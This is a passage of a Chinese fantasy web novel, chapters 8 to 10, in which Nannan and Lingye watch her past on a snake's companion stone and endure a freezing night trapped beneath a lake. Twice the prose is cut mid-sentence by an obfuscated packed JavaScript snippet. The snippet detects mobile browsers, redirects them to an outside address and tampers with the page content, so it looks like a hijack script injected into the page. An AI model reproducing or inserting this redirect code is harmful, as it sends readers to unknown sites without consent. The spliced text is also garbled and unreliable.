“等等!”南山突然指向他身后,“那是什么东西?” 话音刚落,大雪球在她脸上碎开。 南山:“……” 灵晔拍了拍手,又变回了高贵冷傲的太子爷。 南山呸掉嘴里的雪,跑到那块青石前,只见青石上一男一女依偎在一处,正抱着襁褓里的婴孩流泪。 她盯着看了半天,突然睁圆了眼睛:“好、好像是我阿爹阿娘……好年轻,他们为什么会出现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15006146|161943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这里?” 灵晔:“这是七脚蛇的伴生石。” “什么意思?”南山盯着青石上年轻的阿爹阿娘看个不停。 大概是等人来救的时间实在无聊,灵晔的话也多了起来:“所谓伴生石,只有修为达到一定程度的蛇才会有,将血滴入其中,可见生平碎片,蛇的修为越高,伴生石上能看到的东西也就越多,传言画牢山那位蛇祖的伴生石,可看到人的前世今生。” “这么神呢,”南山听到画牢山三个字,心里莫名一颤,随即又被青石吸引了注意,“可我没把血滴在上面啊。” 灵晔扫了她一眼,她顿了顿,才看向自己手指上的伤口……是刚才在湖底时受的伤,估计是打雪仗的时候不小心弄裂了,渗出的血沾在雪球上,雪球又打在石头上,这才触发了青石。 南山走个神的功夫,青石上的家里便出现了一堆蛇,她当即指着石头道:“看,我没骗你吧。” 灵晔看着满屋子的蛇,眉头轻轻皱了一下。 “……你刚才好像说,凡人不该听懂蛇呓?”南山试探。 灵晔侧目,与她对视后直言:“蛇呓是蛇族特有的交流方式,与其说是凡人听不懂,不如说只有蛇族能听懂。” “但我真的是凡人,也真的能听懂。”南山指着青石道。 灵晔也不太明白为何会出现这种情况,静默半天只勉强得出一个结论:“或许你和蛇族有什么渊源。” “要说渊源,我从小到大遇到的蛇,好像都挺喜欢我的,”南山一本正经地托住脸,想到七脚蛇的丑样子,又赶紧补充一句,“今天这条除外。” 灵晔又斜了她一眼。 两人说话的功夫,青石上出现一个老道,和孙晋说了几句话后拿出一段红绳。 南山:“你爹来了。” 灵晔:“……” 红绳是天丝所制的姻缘绳,是妖魔鬼仙订婚时最常用的物件。这样常用的物件被孙晋别在腰间,抱着襁褓里的小南山一直往前走,看到一座地仙庙便直接进去了,庙里供奉的地仙石像,竟与灵晔有五分像,一看就是谁折腾出来的。 “我刚出生的时候,你已经是现在这样了啊。”南山睁大了眼睛。她知道神仙活得比较久,可真亲眼看到还是婴孩的自己出现在二十余岁模样的石像前,还是会觉得神奇。 对她的大惊小怪,灵晔不作反应。 孙晋小心地将女儿放在供台上,自己虔诚地对着地仙拜了拜,然后将红绳一头绑在了女儿身上,另一头绑在石像手腕上。 青石之外,灵晔的左手手腕突然泛起浅红的光,颜色与红绳极为相似。南山睁大了眼睛,突然想起第一次见时,他手腕上也有这样的光。 “你手上的光和红绳有关?” 南山刚问完,画面里的孙晋像下定了某种决心,将刚系好的红绳解了下来,找把剪刀咔咔几下剪成五节,其中一节重新给女儿和灵晔绑上,然后吭哧吭哧走了一段路后,进了第二间地仙庙。 灵晔:“?” 南山:“……” 8. 第 8 章 南山也没想到,绑五段婚约的事会在这种情况下暴露,更没想到阿爹阿娘二十年前干的事,竟然还能让她在时隔二十年后感到尴尬。 灵晔盯着青石看了半晌,突然抬眸看向南山。 “看什么看,我阿爹希望闺女长命百岁有错吗?仙人伯伯不也希望你能长命……”话没说完,南山突然想到,长命百岁对凡人来说是个美好祝愿,可对仙人而言估计跟诅咒差不多了,于是紧急改词儿,“长、长命一千岁?” 灵晔平静反问:“我说什么了?” 南山噎了一下,难得说不出话来。 第二座庙空荡简单,与其说是庙,更像是一间书房,里面供奉的石像只有背影,看起来不像神明,倒像个温柔的书生,没等南山生出好奇,画面便换到了第三座庙。 第三座庙破破烂烂,南山一眼就认出是自己小时候常去玩的地方,上面的石像也只剩半截了,孙晋面对这样的破庙似乎有些迟疑,但看了看怀里的小婴孩后,还是咬咬牙爬上供台,先将绳子一头绑到石像上,又转身来给婴孩绑上。 虽然画面上没有显示太多,但看得出孙晋走了很久的路,以至于疲惫到完全没发现绳子绑在婴孩身上的瞬间,绑在石像上的那头就松开了,直接掉在了台子上,而当他直起身时,绳子已经透明消失。 “……不是没绑上吗?为什么还能结契成功?”南山有点懵。 她凡胎肉眼看不到,灵晔却看得清楚,红绳消失的瞬间,她本就不多的阳气顺着绳子流逝了大半,像是被什么东西吸食了,使得本就虚弱的她直接晕了过去,乍一看倒像是睡着了。 灵晔:“你绑了个脏东西。” 南山:“……”完全不想知道他口中的脏东西是什么玩意儿。 没等她忧虑,她的亲爹已经抱着刚出生的她去完了最后两间庙。最后两间简直一模一样,前一间供奉的是一只巨大的野兽石雕,看起来像狐狸,又有些像狮子,第五间则是……一条蚯蚓? 看着比自己手指粗不了多少的石雕,南山难得有点怀疑自己的眼睛。 瞄一眼灵晔沉静的侧颜,她试探道:“这么多地仙庙,我只见过第三座,前两年村里还重新修葺过,其他四座不会都是神仙变出来的吧。” 灵晔不语,南山讨了个没趣,也不说话了。 绑完了五段红绳,孙晋像是做成了什么大事一般,抱着襁褓就回家了,青石上一暗一亮,场景又切换回家里卧房,看起来已是深夜。 孙晋和刘金花都睡了,婴孩就放在床边的摇篮里,南山记得这个摇篮,是阿爹亲自给她做的,用的全是好木料,在家里放了十几年都没舍得丢,最后给了三叔婶家的媳妇儿。 看着青石上熟睡的一家三口,南山凑得近了些,然后就看到阎岳装成的老道出现了,并着双指按在了婴孩的额头上。 “这是干啥呢?”南山拉了一下灵晔的袖子。 灵晔顿了顿,才发现她不知何时已经快贴到自己身上了,当即将她拨开。 南山扯了一下唇角坐好,正要继续看青石时,灵晔突然开口:“他在给你输灵力。” 南山又凑了过去:“输灵力干啥?” 灵晔一个眼神扫过来,她立刻坐了回去,灵晔这才淡淡道:“肉身凡胎,承不住灵骨的力量,所以你生来便五感不通注定夭折,父王给你输灵力,是为了护住你的肉身,确保你至少能活到灵骨成熟前。” “灵骨还分成熟和不成熟?那什么时候算成熟?我二十岁的时候会成熟吗?”南山一连三个问题。 灵晔:“不一定,至少要到二十岁以后才开始生长,至于何时彻底成熟,要看你资质。” 南山顿了顿:“二十岁以后才开始生长,那仙人伯伯为什么说我只能活到二十岁?” “二十岁后灵骨开始生长,若无人干涉,灵骨开始成长的刹那,你必死无疑,这一点上他倒没有撒谎。”灵晔的答案简单粗暴。 南山:“可我已经二十岁了,还活着。” “因为你绑了五段姻缘,”灵晔扫了她一眼,“我若没猜错,除了父王,还有其他人给你输灵力,才造成灵骨延迟生长。” 南山咳了一声,故作无事地看向青石。 青石上,阎岳已经离开,又一道身影出现,因为穿戴斗篷,南山无法看清他的脸,只隐约看到他抬起修长的手指,轻轻抚上婴孩的脖颈,指尖隐约有光闪烁,婴孩睡得无知无觉。 “他想干嘛?”南山看着这一幕,莫名毛骨悚然。 灵晔也眉头蹙起,正要细看怎么回事,青石上便突然换了画面,出现一双诡异的红瞳,从南山的角度看,这双眼睛好像穿过了青石与她对视。 南山吓一跳,灵晔眉头皱得更深,青石上的影像转眼变成南山一岁时的画面。 “看来他们并不知道彼此的存在,”灵晔眉头微挑,难得来了几分兴致,“不然也不会在你身上浪费灵力。” “……什么叫浪费灵力,这东西不是多多益善吗?至少我现在还活着,就是因为灵力多多延迟了灵骨的生长,”南山没什么底气地吐槽,又生出新的疑问,“我不懂,既然天生灵骨这么珍贵,他们为什么不一开始就把我抢走,非要等到二十岁以后。” 仙人伯伯是因为不想他们骨肉分离,那其他人又是为什么呢? “也许是因为凡人太脆弱,长了灵骨的凡人更是,怕一不小心养死吧,”灵晔扫了她一眼,“毕竟尚未开始发育的灵骨,与废物没什么区别。” 当然,也可能不是这个原因,但不关他的事。 南山:“……” 青石上已经开始出现南山五岁时的模样了,胖乎乎的像个肉团子,走到哪都要被人摸两把。南山的注意力却不在自己身上,而是时刻在画面里搜寻孙晋和刘金花的身影。 她记忆里的阿爹总是穿得灰扑扑的,衣裳上补丁摞补丁,鞋子总是沾满泥,阿娘的手长年有裂口,一到冬天就满是冻疮,痒得翻来覆去睡不着,这还是她第一次看见他们年轻时的模样,虽然依然窘迫,可年轻的眉眼总是透着她从未见过的活泼,腰背也是直的。 南山看了又看,终于忍不住伸手去摸阿娘的脸,却只摸到一片冰凉。她猛地回神,下意识瞄了灵晔一眼,本以为他会嘲笑自己,却没想到他同样专注地看着青石。 南山放松了后背,抱着膝盖和他一起看自己的过往,看到八岁的自己趴在村祠堂的供台上啃烧鸡时,她笑了一声。 “三叔公都气疯了,抄起扫帚就要收拾我,三叔婶还跟他吵了一架,”往事历历在目,南山自来了冥界以后,第一次放松眉眼,“阿爹一向是舍不得揍我的,但这是村里十年一次的拜祖祭祀,我祸闯得太大了,他只能把我揍一顿,结果三叔公反而心疼了,还骂他不知道护孩子。” “这是我在烤红薯,一到天冷的时候,我就会和阿花二胖他们一起去地窖偷红薯,然后跑到田埂上去烤,我们每次都觉得自己做得天1衣无缝,其实家里大人都知道,就是懒得跟我们计较而已。” “唔……这是我最好的姐妹秋秋,她十六岁就嫁人了,但是她丈夫对她不好,还动手打她,她阿爹知道后叫上我们一个村子的老少爷们,直接把那家的房子给掀了,她也带着孩子回了孙家村,现在孩子都一岁了。” 青石上的画面一个接一个,很多事南山都已经忘了,但也有一些清楚记得,虽然灵晔没给什么回应,但她仍然兴致不减。 “真好看啊。”她看着穿上新衣的自己,刚忍不住感慨一声,青石上就出现了自己独自在屋里擦身的画面。 南山一愣,灵晔也愣住了。 青石上的南山十八九岁,不算消瘦的身体鲜活可爱,拧干的布帕擦过肩膀时,年轻的肌肤顿时出现一抹浅红。 南山总算回过神来,直接把灵晔扑倒在雪地里。 “你不准看!”她气急败坏。 灵晔的脸也黑了:“没想看!” “你什么表情,怎么着,你还觉得吃亏了?”这段时间在冥界一直谨言慎行,南山差点忘了自己也是犯起浑来什么都不管的人,“那你让我看回来!” 说着话,就要去扯灵晔的衣服。 灵晔没想到这个凡人如此大胆,一时间脖颈都气红了:“放肆!信不信我杀了你!” 南山冷笑:“来啊,有本事你就杀了我。” 两人缠斗了半天,最后以谁也不理谁结束了这场闹剧。 绵延无际的雪原仿佛失去了时间,南山感觉自己都来了有一个月之久了,明亮的天空仍然没什么变化。 “仙人伯伯什么时候来啊?”万分无聊下,她终于忍不住问出声。 脸上被她挠出一道血痕的灵晔神色淡漠,没有理她的意思。 南山朝他挥挥手:“还生气呢?你一个大男人,不要这么小气好吧。” 灵晔依然木着脸,唇上先前被她咬出的伤口隐隐作痛。 南山盯着他看了半晌,突然好奇地问:“我没醒之前,你在石头上看到了什么?” 灵晔倏然抬眸。 “干嘛这么看我,”南山摸摸鼻子,“我刚醒的时候,你不是一直在盯着石头看?”< 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南山把袖子一捋,露出鲜红的珊瑚串:“你再说一遍?” 灵晔:“……” 自从掉到这个鬼地方,都不知道看他吃几次瘪了,南山心情愉悦地放下袖子:“为什么不告诉他呢?仙人伯伯之所以逼你娶我,就是因为觉得你太弱了,需要我这个天生灵骨的保护,他要是知道你自己就能保护自己,不就不逼你和我成亲了么。” 她说完,停顿一瞬,“难道你和仙人伯伯是面和心不合,你怕他把你当成威胁才假装体弱?” 此言一出,灵晔看她的眼神像看傻子:“你想的真多。” “戏台子上不是经常这样演么,争权夺利相互陷害,我都会唱了。”南山摊手。 灵晔神色淡淡:“随你怎么认为,总之这件事,你不准告诉父王,否则……” 他递了一个眼神,威胁意味相当重。 南山:“……”真是个烦人的犟种。 两个人又恢复了沉默,相互之间隔了八米远,谁也不想理会谁。辽阔的雪原依然原封不动,天空湛蓝和先前没有任何区别,可周遭的温度却渐渐降了下来,沙子一样的雪总算有了冰凉的感觉。 南山的衣裳虽然蓄了不少棉花,但依然会觉得冷,独自哆嗦了半天后,终于忍不住看向不远处的灵晔,第八百遍问出那句:“仙人伯伯到底什么时候接我们啊?” 本以为灵晔会一如既往的无视她,但没想到他皱盯着天上波动的云看了半天,最后皱眉道:“不知。” “不知?你怎么会不知呢?”南山蹭地坐直了身体。 灵晔扫了她一眼,说了些木易湖结界特殊,只能破开封印进来,但刚才封印修复后突然开始游走、外面的人得先找到封印所在才能来救他们之类的话。 总而言之,他们什么时候出去,取决于仙人伯伯什么时候找到封印,但什么时候能找到封印,灵晔也无法确定。 温度越来越低,风也越来越大,一望无际的雪原风声呼啸,雪粒也被裹挟着滚动,乍一看犹如千条薄纱在空中飞舞。 “你冷吗?” 透着关心的话语传了过来,灵晔心中微动,抬眸朝她看去,却看到她虎视眈眈地盯着自己的外衣。 他:“……” 短暂的沉默后,灵晔神色淡淡:“你可以试试。” 想到自己打雪仗都没占多少便宜,南山顿时打消了抢衣服的念头。 越来越冷了,比她之前经历的任何一个冬天都冷,南山抱紧膝盖,刚好合身的袖子因为动作往上卷了一点,恰好露出手腕上鲜红的珊瑚珠。 她直愣愣看着珠子发呆,心想自己躲过了二十岁生辰的预言,躲过了灵晔和止参的暗害,连七脚蛇的攻击她都躲过了,不曾想却要活活冻死在这个奇怪的地方。 她只是想长命百岁而已,怎么就这么难呢?南山轻轻叹了声气,呵出的白色水雾刹那消散在空气里,她刚要将自己抱得更紧一点,一件外衣便兜头落在了她身上。 外衣上还残留体温,隐约透着一股花果的香甜,南山怔怔抬头,恰好对上灵晔平静的双眸。 “看什么,”他冷淡疏远,高高在上,“你既然戴着沉悦珠,我便不会让你冻死在这里。” 南山沉默良久,问:“我如果说其实仙人伯伯还给了我其他的珠串,你会再给我一件衣裳吗?” 灵晔:“……” 9. 第 9 章 灵晔没有回答,只是用“你在说什么蠢话”的眼神看了她一眼。 南山也不觉得失望,乐悠悠裹紧了他的外衣,凛冽的风雪中,花果的香甜气息愈发明显。 “你用了什么熏香,怎么会这么好闻?”她没话找话。 重回八步远外静坐的灵晔隔着雪幕看了她一眼:“没用熏香。” “可你衣服香香甜甜的。”南山说着,又嗅了几下。 看着她冒犯的动作,灵晔蹙起眉头:“你……” “嗯?”南山歪头。 灵晔:“算了。”如她所言,没规没矩的凡人丫头而已。 “……你不会在心里偷偷骂我吧?”南山怀疑。 “是,”灵晔面无表情,“不高兴就把衣服还回来。” “我不,冻死你。”南山冷哼。 灵晔也不理她了,只是静静观察天上的云层变化。 木易湖的结界特殊,只有身处结界内才能看到封印游走的轨迹,外面的人则要一点一点摸索,运气好的话片刻之内就能找到,运气不好……木易湖湖底无边无际,只怕要花费上不少时间了。 “你在想什么?”某人突然问。 “我在想,”灵晔缓缓开口,“木易湖的封印只有一道锁,如今还是朝外的,结界外可以破开封印却无法轻易找到,结界内可以看到位置却无法传递出去,如果不是某人被蛇呓蛊惑……” “如果不是某人欺负我这个弱小的凡人,把我扔到水里泡着,还有某人见死不救,明明是自己不肯退婚却还要逼我当坏人,那封印也不会被破开了。”南山一本正经,坚决不被他的逻辑带走。 灵晔冷哼一声,正要再说什么,就看到她鬼鬼祟祟地靠近。 “你干什么?”他蹙眉问。 南山一看被发现了,立刻几大步走到他旁边:“借你的身体挡挡风。” 灵晔:“……” 入夜好像是一瞬间的事,刚才还湛蓝的天空,转眼间便漆黑如墨,一望无际的原野只剩下白色的雪做照明。 温度还在下降,南山身上那件外衣很快就不够用了,寒气无孔不入,冻得她脸色青白,关节更是疼得失去了知觉。 太难熬了,实在是太难熬了,南山突然想起自己屋里那张火床,那是阿爹在城里做了半年泥瓦匠后,回家特意给她修的。砖石砌的床,下面烧上一些干柴,整个屋子里都会变得暖和,每年到了烧火床的时候,小伙伴们便会拿上些柴火过来,姑娘们挤在床上,小子们睡在地上,一睡就是一个冬天。 如果她没有什么灵骨,一生下来就是个健康的孩子,那此刻的她应该在火床上躺着吧。南山抖了一下,突然意识到自己刚才险些睡过去。 南山揉了揉脸,刚觉得清醒一点,下一瞬就看到了灵晔唇角的鲜红。 “你……” “什么?”灵晔抬眸。 南山指了指他的唇:“你受伤了?” 灵晔见她竟然还敢提那件事,眼神顿时冷了下来:“托你的福。” “……我不是说我咬的那个伤口,”南山无语,“你唇角有血。” 灵晔微微一顿,抬手擦拭一下唇角,指腹上果然多了一抹红。 “我没骗你吧。”见他一直盯着那抹红看,南山摊摊手。 话音刚落,灵晔径直倒在了地上,已经冻硬的雪地顿时磕伤了他的额角。 “灵晔!灵晔……” 耳边传来南山焦急的声音,灵晔却只觉吵闹,他想让她闭上嘴安静会儿,可话到嘴边却怎么也说不出来,索性就任由她吵了。 这次和七脚蛇的缠斗,他确实有些托大,以至于多年没有复发的灵府旧疾,如今又隐隐有发作的趋势。身体很疼,也很疲乏无力,他只想睡一会儿,再睡一会儿。 再次醒来时,入目是毛毛躁躁的麻花辫,和一枚小小的发旋,灵晔迟缓地眨了一下眼睛,意识到怀里的是什么东西后顿时僵住了后背。 南山察觉到他在动,当即抬起头来,和他对视后一脸惊喜:“你醒啦!” 灵晔下意识想要起身,却被南山重新按回地上:“好不容易有点热乎气,你别给我乱动。” 灵晔:“……” 直到这一刻,他才真切地看清眼前的境况—— 他躺在地上,南山趴在他身上,他方才给南山的外衣,则牢牢地裹在他们两个人身上。 “这些雪也太奇怪了,白天的时候一点也不凉,晚上直接冻硬了,硬了之后体温都暖不化,反而把冻面暖得热乎乎的,你现在躺着的雪面就是温的,是咱俩好不容易暖起来的,你可千万别动,不然就前功尽弃了。” 南山说话时,身体每一寸都紧紧贴着灵晔,胸腔的震动隔着绵软传递过去,灵晔后背越绷越紧,几次都要将她推开,却都被南山及时制止了。 “都说让你别动了,”南山抱怨,“你想活活冻死在这里吗?” 灵晔深吸一口气,刻意忽略抵着自己的绵软起伏:“你们凡人不是最重男女大防?” “什么男女大房?哪有房啊?”南山一脸期待地张望。 灵晔:“……” “我没看见啊,你糊弄我呢?”南山没找到房子,有些失望地倒回他胸口。 灵晔忍无可忍:“我说的是男女之别!” “啊,那个啊,”南山恍然,“那确实是挺重视的,隔壁村有个男的跟人私通,还被沉塘了呢……我知道你想说什么,但眼下这情况,你还有别的办法吗?” 灵晔蹙眉不语。 “行了,看在你是我未婚夫的份上,我就让你占点便宜吧。”南山一副施舍的语气。 灵晔气笑了,刚想说谁是你未婚夫,结果一张嘴就有风吹过来,他及时把嘴闭上了。 “灵晔。” 灵晔别开脸。 “灵晔。” 灵晔还是不理人。 “灵晔灵晔灵晔……” “干什么?”灵晔总算是开口了。 南山:“你跟我说说话吧。” 灵晔闭上眼睛刚要拒绝,趴在他胸口的南山便揪了揪他的衣襟:“随便说点什么吧,看在沉悦珠的面子上。” 灵晔闻言,眼睫轻颤了一下,到底还是忍不住问了:“父王给你沉悦珠时,可有说过什么?” “说了呀,”南山的脸贴在他衣襟上,隐约感觉到来自他身上的热乎气,要不是怕他翻脸,她还挺想直接把脸埋进去的,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15006148|161943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他说这东西能护着我,只要我戴着,你就不会伤害我。” “只说了这些?” 南山抬头,下颌搁在他胸口上:“还该说什么?” 灵晔垂眸,勉强能看到她的眼睛,两个人对视片刻,他别开视线:“没什么。” “……你的表情告诉我,肯定还有什么。”南山没被轻易糊弄过去。 灵晔面无表情:“还想聊天的话,就识趣点换个话题。” 南山相当识趣:“好吧,换个话题……你为什么要隐瞒你很厉害的事?” 灵晔:“……再换一个。” “你当初为什么会受很严重的伤?” “再……” “已经换第三个了,再换是不是有点不礼貌了?”南山无语打断。 天儿怪冷的,俩人毫无睡意,又贴得太近,要是一句话也不说,确实更加难熬。灵晔沉默良久,到底还是说了:“我修炼时太冒进,不慎生出心魔,为免心魔吞噬心智,只能强行调转全部灵力对抗,最后命悬一线,是父王耗损大半修为才将我救回来。” 南山听不太懂,但也聪明地提炼出了主要信息:“你为什么会生出心魔?” 灵晔不语。 南山:“你不告诉仙人伯伯自己很厉害的事,是不是因为怕他担心你再生出心魔?” 灵晔还是不说话。 “好吧,我们聊点别的,你刚才昏迷的时候一直念叨什么‘时辰到了’,那是什么意思?”南山重复一遍那四个字,突然有点膈应,“你在梦里不会是看到黑白无常了吧,阎王叫你三更死不会留你到五更之类的。” 灵晔静静看着漆黑的夜空,难得有些放空,可惜没等他走神太久,一只小手便从他的外衣里伸了出来,轻轻贴在了他的脸上。 她的手是凉的,灵晔的脸是冰的,当凉凉的手贴上冰冷的脸,灵晔竟然觉得很温暖。他微微一顿,刚想问怎么了,一直担心那点热乎气会消失的南山已经直起身,趴在他胸膛上看着他,就连冷风灌进两人之间也没有再缩回去。 “灵晔,你要多跟我说话,”她定定和他对视,似乎很苦恼,“这样的天气,睡过去是一件非常危险的事。” 狂风肆虐,哪怕夜空晴朗,周围依然雪粒四溅。 灵晔怔怔与她对视,嘴唇动了几动,好一会儿才找回自己的声音:“……用膳的时辰到了。” “嗯?”南山不懂。 灵晔:“我习惯像凡人一样,一日三餐。” “……真是个好习惯。”还以为是黑白无常,结果是他啥都想尝,南山扯了一下唇角,又趴回他的怀里,“你平时都吃什么?” 灵晔:“寻常菜色。” “你上顿吃的什么?” “忘了。” “……” 短暂的安静被风声填充,灵晔主动开口:“还想问什么?” “什么都行?” “要看你问什么。” “好吧,”南山咬了一下手指,“我这个问题,你肯定能答。” “什么?” “灵晔。” “嗯。” “你心跳为什么这么快?” 灵晔:“……” 10. 第 10 章 南山问完,仍是迟迟等不到回答,她瞬间震惊了:“这也不能问?!” “……冻的,也可能是因为今日没有药浴。”灵晔僵硬开口。 南山恍然,还想再说什么,却被灵晔打断:“别没话找话了,我不会睡的。” “我那个喝完酒冻死在路边的二舅姥爷当时也是这么想的。”南山幽幽道。 灵晔:“……” “你跟七脚蛇打架的时候受伤了?”南山又问。 灵晔:“嗯。” “严重吗?” 灵晔:“一点内伤,不算重。” 南山顿时放心了些,张嘴还想说什么,灵晔的指尖突然抵在了她的掌心,有一下没一下地敲着。 “这样总可以了吧。”他声音冷淡,南山不用抬头,也能想到是怎样一个又高贵又不耐烦的表情。 用敲手代替说话,这说明什么?说明是真不想和她说话了。 两个人彻底安静下来,风雪肆虐,灵晔的外衣虽然是上阶法衣,但主人失去了灵力,再好的法衣也成了废物,御寒能力甚至不如南山身上夹棉的粗布衣裳。 风从所有叫人意想不到的地方钻进来,薄薄的衣料之下,连灵晔都不再提什么男女大房,一只手紧紧搂着南山,一只手点着她的掌心,轻轻地敲了一下又一下。 “仙人伯伯……还没来吗?”南山感觉自己的脚像在泡在冰水里,连说话都开始打颤。 灵晔眼睫上染了冰霜,闻言勉强抬头看一眼天空,说话时呵出浅淡的雾气:“没有。” “是不是止参怕被责罚,没把我们掉下来的事告诉他啊?”南山又问。 灵晔:“不可能。” “一定得找到封印才能来救我们?仙人伯伯就不能在其他地方打个洞吗?”南山哆哆嗦。 灵晔:“木易湖口小腹大,一旦打破湖底,便会有万顷湖水倾泻而落,到时候你我都会被冲成碎……” 话没说完,某人就已经忍不住将脸埋进他的衣襟。 天气太冷了,哪怕她钻在衣裳下面,呼出的气息仍是凉的,抚过他的胸膛时,灵晔只觉冷得连心跳都要漏拍。 本来想推开她的,但无意间瞥过她手腕上的珠串,到底还是没有这么做。 两人在一望无际的雪原里紧密地贴在一起,仅剩的温热在彼此的衣襟之间,贴得没那么紧的四肢又麻又疼,最后直接没了知觉。南山静静听着灵晔的心跳,好一会儿突然笑了。 灵晔顿了顿:“笑什么?” “要是仙人伯伯真的来晚了,看到我们这样抱在一起,会不会觉得我们是殉情?”南山问。 灵晔:“……” “说不定还要把我们装一个棺材里下葬。”一想到灵晔死了都要跟她冥婚,南山突然觉得好笑。 灵晔难得没有驳斥她,静了静后淡淡道:“你不会死。” “但愿吧,要是可以的话,我也不想死,”南山一直提醒自己不要睡,却仍是不受控地闭上了眼睛,“因为‘二十岁寿终’的破预言,我从小就比别的小孩怕死,我一点也不想死……” 她的声音越来越小,直到呼吸变轻,灵晔在她掌心敲击的指尖终于停了下来。 南山再次睁开眼睛时,晴空万里,云卷云舒,坚硬的雪地也变回了松散的雪粒,她茫然地戳了一下雪粒,没有感觉到凉。 她蹭地坐起来,身上的衣裳也随之掉落,一旁看着青石出神的灵晔侧目:“醒了?” “天什么时候亮的?仙人伯伯怎么还没来?为什么不冷了?不是……我昨晚睡着了?你知道我睡着了?你为什么没叫醒我?你是不是想冻死我?”刚睡醒的南山问题一个接一个。 灵晔蹙眉:“我先回答哪个?” “当然是最重要的那个!”南山叉腰。 灵晔抬眸看了她一眼:“父王还没来。” “……我说的是‘你为什么没叫醒我’这个问题,我又不瞎,当然知道仙人伯伯没来。”南山无语。 灵晔:“没必要。” 这是回答她的问题。 南山一愣,不可置信地睁大眼睛:“什么叫没必要?” “你一睡着就开始打呼,听起来比醒着还生龙活虎,没必要叫醒你。”灵晔解释。 南山:“……” 因为灵晔一句‘生龙活虎’,南山直接沉默了,但也只是一会儿的功夫,她又开始追问仙人伯伯什么时候过来,灵晔被她吵得头疼,干脆闭上眼睛假装睡觉。 南山:“……”太假了,哪有说话说到一半就闭眼的。 灵晔不想交谈的表现太明显,南山真的安静了下来,可她安静了,灵晔反而不习惯了,睁了几次眼睛后,终于主动开口:“我真的不知他何时能来。” 南山仰着头,黑瞳里映着蓝天白云。 “今天晚上,也会像昨天晚上一样冷吗?”她低声问。 灵晔一顿,没有否认。 南山早就猜到了答案,此刻只觉平静:“你以前捱过冻吗?” 话题转得有点太快,灵晔跟不上她的思绪,半晌只说了一句:“我自有记忆起,便能使用上阶法衣,加上灵力护体,除了昨晚未曾冷过。” 南山笑了一声,无奈地看向他:“那你肯定不知道饿着挨冻和不饿时挨冻的区别了。” 自从从湖底掉下来,还是第一次看到她这么平静的样子,灵晔忍不住问了句:“什么区别?” 南山摊摊手:“区别就是,饿的时候比不饿的时候更怕冷。” 灵晔:“……” 南山仿佛没看到他无语的表情,喉间溢出一声轻轻的叹息:“昨晚的我们虽然少吃了一顿饭,但有晌午那餐顶着,多少还耐冻些,今日却不同,现在明明不冷,我却已经开始手脚冰凉。” 说罢,突然握住灵晔的手,灵晔微微一怔,回过神时她已经松开自己。 “你也是冰冰凉的,”南山扯了一下唇角,“要是今晚像昨天晚上那样冷,那我们真的很难熬过去了。” 灵晔倒是没想过这个问题,此刻看着自己手上泛红的关节,难得皱起了眉头。 “仙人伯伯你快点来啊!”南山突然扯着嗓子喊,“你可一定一定要赶在天黑之前来啊!” 灵晔:“……他听不见。” “我知道,我就是想喊两嗓子。”南山伸了伸懒腰,重新变得生龙活虎。 可惜她的生龙活虎也只维持了大半天的时间,眼看着天又要黑了,仙人伯伯还是没来,她直接扑进雪地里打滚。 “为什么!为什么!老天为什么要这么对我!我到底做错了什么,为什么一定要在这里等死!” 她滚来滚去,身上弄得全是雪,灵晔实在看不过去,后退两步确保她不会弄自己身上后,才皱眉道:“父王会来的。” “说不定他来的时候我已经死了!”眼下这个情况,南山很难保持乐观。 灵晔看到她脑袋上顶的雪堆,觉得很难和她沟通。 南山却不肯放过他,想到什么后突然坐起来,目光灼灼地看着他:“我发现……” “什么?”灵晔与她对视。 南山:“你今天对我耐心了很多。” 灵晔:“……” 短暂的安静后,他扫了她一眼:“想太多。” 南山撇撇嘴:“除了坐在这里等仙人伯伯,我们就没有别的办法自救吗?” 灵晔有些走神,下意识点头:“有。” “什么?!”南山眼睛一亮。 灵晔顿了顿,本不想多说,但看她一直盯着自己,到底还是开口了:“封印若是游走到乾位,在外的锁便会翻转朝内,然后静置五个时辰左右,这期间外头的人打不开,里面的人却可以随意出去,这是当初父王设结界时不慎留下的错处,本来想改,但当时结界已成,牵一发而动全身,加上封印松动游走的可能性极低,索性就没有再改。” “让我捋捋……也就是说,如果封印飘到东南方,那我们就不用等仙人伯伯来救,而是像昨天掉下来的时候一样,涂点我的血就可以出去了?”南山试图分析。 灵晔:“是。” “这么重要的讯息,你昨天为什么不说!”南山生气。 灵晔面无表情:“因为结界很大,封印游走到正乾位的概率不到万之一二,除非奇迹发生,否则绝无可……” 话没说完,东南方一道亮光闪过,宛如白昼流星。 南山也看见了,踮着脚凑到他身边:“那是什么?” “……奇迹。”灵晔缓缓开口。 万之一二的概率,就这么发生了? 一直到走出好远,南山仍然觉得荒唐,甚至怀疑灵晔在耍自己,可看到他脸色都白成一张纸了还在努力赶路的样子,又觉得他不会拿这件事开玩笑。 “你还走得动吗?”她追着灵晔问。 灵晔答非所问:“封印在几十里之外,风雪交加,我们只有五个时辰的时间,一旦错过,就得继续等父王来救。” “……其实等仙人伯伯来救也行,说不定五个时辰后封印一翻转,他就找到了呢。”南山委婉道。 灵晔斜了她一眼:“刚才是谁非要自救的?” “我这不是怕你累死吗?而且马上就天黑了,到时候一降温,咱们走走停停一身汗,说不定死得更快。”南山分析。 灵晔停下脚步:“所以你要继续等?” 南山:“……” 